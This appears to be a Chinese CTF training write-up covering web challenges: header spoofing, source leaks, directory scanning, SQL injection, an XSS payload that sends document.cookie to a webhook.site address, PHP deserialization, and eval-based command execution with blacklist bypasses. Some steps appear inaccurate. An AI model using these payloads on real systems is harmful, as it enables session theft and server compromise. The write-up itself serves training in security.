ROIS冬令营题解

1.http(极客大挑战)

首先查看源码发现 <a style="border:none;cursor:default;" onclick="return false" href="Secret.php">,点击该链接

然后通过页面信息修改referer:https://Sycsecret.buuoj.cn

接着浏览器信息,即 User-Agent:Syclover,然后告诉我们要从本地查看,上网查找发现本地都是这个端口号 127.0.0.1,修改xxf,然后flag就出来了

2.查看网页的备份文件(攻防世界)

php的备份文件有两种:*.php~和*.php.bak

例子:http://61.147.171.105:55767/index.php.bak

3.php2(攻防世界)

对网址后面加上/index.phps就可以查看页面php源码

例子:http://111.198.29.45:45191/index.phps

phps是php的源代码文件,但是不能接受传参,所以hackbar还是要在.php里面做

4.cookie(攻防世界)

如何查看http响应

打开开发者工具,再点击网络(network),选择你想要查看http响应的网址

这道题的flag位于标头里面

5.扫描目录用dirsearch(攻防世界)

dirsearch -u <URL>是要扫描的目标网站的URL

可以用以下选项来调整扫描:

-e:指定要排除的扩展名

-f:指定要包含的扩展名

-x:指定要排除的目录

-t:指定线程数

例子:dirsearch -u https://example.com/ -f php,html -t 50(用50个线程扫描一个URL,只包括.php和.html文件)

1
dirsearch -u https://example.com/ -o result.txt

将扫描结果保存到result.txt文件中

6.easy-PDD

这道题先用bp抓包,然后用bp中的爆破模式,也就是Intruder模式来发送好多好多的请求包,得到flag

具体爆破模式操作步骤可以参考:https://blog.csdn.net/FTQOOO/article/details/103822526

7.ez_maze

分析:弹出警告框是因为鼠标的移动碰到了迷宫的线导致的,就是js中的onmouseover事件,所以有以下几种解法

第一种:玩通关,实践过可以的,难度还行

第二种:通过弹出警告框后鼠标怎么移动都没有事情,可以借此先把鼠标移至红点区域,然后按回车键,再触碰红点就得到flag了

第三种:用手机进入这个网址,然后直接点红点

第四种:通过源码的逻辑来,等待有缘人ing

8.Matryoshka doll

下载文件完后把那个文件的内容疯狂拿去转码,解码,需要多种,比如base64解码,urldecode等,可以借助gpt帮帮忙

9.三题sql注入

easy:账号名使用万能密钥 1' or 1=1;然后密码随便输入一个

normal:按照正常的union注入来进行操作,需要注意的是只会回显第二个字段,所以所有操作要在 select 1,2,3的2处进行

hard:使用布尔盲注,最好使用脚本来,嗖嗖爆出所需东西,需要注意的是账号密码的name属性分别是username,password

10.xss-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function report(){
document.location = `http://${document.location.hostname}:8001/report.html?e=`+btoa(document.querySelector('#input-textarea').value)
}
function execute(payload){
try{
let parsed = acorn.parse(payload, { ecmaVersion: 'latest' }).body;
alert(eval(payload));
} catch(e){
alert('Error: '+e);
}
}

window.onload = _=>{
let p = (new URLSearchParams(document.location.search)).get('e');
if(p) execute(atob(p));
}

上述代码理解透彻即可做出题目(透彻!!!)

payload:window.open('https://webhook.site/346c0b70-1254-4efc-a539-54c670644ab2?'+document.cookie)

11.unserialize-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$flag = 'ROIS{test}';
class Name
{
public $name;
public $password;
public function __get($name) {
echo $this->name;
return $name;
}
public function __wakeup() {
if($this->password!=null){
echo $this->password;
}
else{
echo $this->name;
}
}
public function __toString() {
global $flag;
echo $flag;
return "nice";
}
}
unserialize($_GET['input']);

__toString()必须在echo对象的情况下才能够自动使用,所以要一个对象要包含另一个对象,这两个对象同属于一个类里面,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$flag = 'ROIS{test}';
class Name
{
public $name;
public $password;
public function __construct($name,$password){
$this->name = $name;
$this->password = $password;
}
}
$a = new Name('John','222');
$input = new Name('Joe',$a);
echo serialize($input);

序列化后的字符串:O:4:"Name":2:{s:4:"name";s:3:"Joe";s:8:"password";O:4:"Name":2:{s:4:"name";s:4:"John";s:8:"password";s:3:"222";}}

然后 ?input=O:4:"Name":2:{s:4:"name";s:3:"Joe";s:8:"password";O:4:"Name":2:{s:4:"name";s:4:"John";s:8:"password";s:3:"222";}},得到flag

12.ez_rce_plus?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);
if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")
die("authentication failed!!");
else{
$nameFunction = htmlspecialchars(@$_POST["function"]); unset($_POST["function"]);
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
$nameFunction = waf($nameFunction);
$nameFunction = explode("/",$nameFunction);
$nameFunction = $nameFunction[1];
if($nameFunction){
$params = array();
forEach($_POST as $key => $item){
$item = waf($item);
array_push($params, $item); unset($_POST[$key]);
}
$base64 = false; if(isset($_SERVER["HTTP_BASE64"])){ $base64 = $_SERVER["HTTP_BASE64"] === 'true' ? true : false; }
$params = join("','", $params); $eval = $nameFunction."('".$params."')"; $return = eval('return '.$eval.";"); echo jsonEncode($return, $base64);
}
}

function jsonEncode($value, $base64_encode = true){
$value = json_encode($value, JSON_PRETTY_PRINT);
if($base64_encode) $value = base64_encode($value);
return $value;
}
function waf($input) {
$blacklist = ['system', 'exec', 'flag'];
foreach ($blacklist as $word) {
$input = str_replace($word, '', $input);
}
return $input;
}

源码看懂那就不是个事

unset() 函数用于销毁指定变量

explode() 函数会将字符串按照指定的分隔符拆分成数组

  • forEach($_POST as $key => $item) 遍历了 $_POST 数组中的每个键值对,其中 $key 是键名,$item 是对应的值。
  • 对每个 $item 值应用了 waf() 函数进行过滤,过滤后的结果存储回 $item 变量中。
  • 使用 array_push($params, $item) 将过滤后的结果添加到了 $params 数组中。
  • 使用 unset($_POST[$key]) 删除了原始 $_POST 数组中相应的键值对,以确保只保留了过滤后的数据

使用 join() 函数将数组 $params 中的元素以逗号连接成一个字符串,并且在每个元素之间添加了单引号

以下内容为反推回去的思路

1
2
3
4
5
6
$eval=system('ls /')
$params=ls /
$nameFunction=system
$nameFunction=1/sysystemstem
function=action=1/sysystemstem
a=ls /

所以最终post的内容如下所示:

1
function=1/sysystemstem&action=1/sysystemstem&a=ls /

得到flag位置后 function=1/sysystemstem&action=1/sysystemstem&a=cat /flflagag

13.ez_rce_with_full_waf?

与12题的代码差不多,其中的waf()函数改为了下面所示:

1
2
3
4
5
6
7
8
9
function waf($input) {
$blacklist = ['system', 'exec', 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include', '\'' , '"' , '.' , '<' , '>' ];

foreach ($blacklist as $word) {
$input = str_replace($word, 'hack!', $input);
}

return $input;
}

我们可以通过不给function赋值,给action赋值绕过第一个waf:action=1/system&a=ls /

第二个waf我们可以通过通配符来绕过:action=1/sysystemstem&a=cat /fl??,得到最终的flag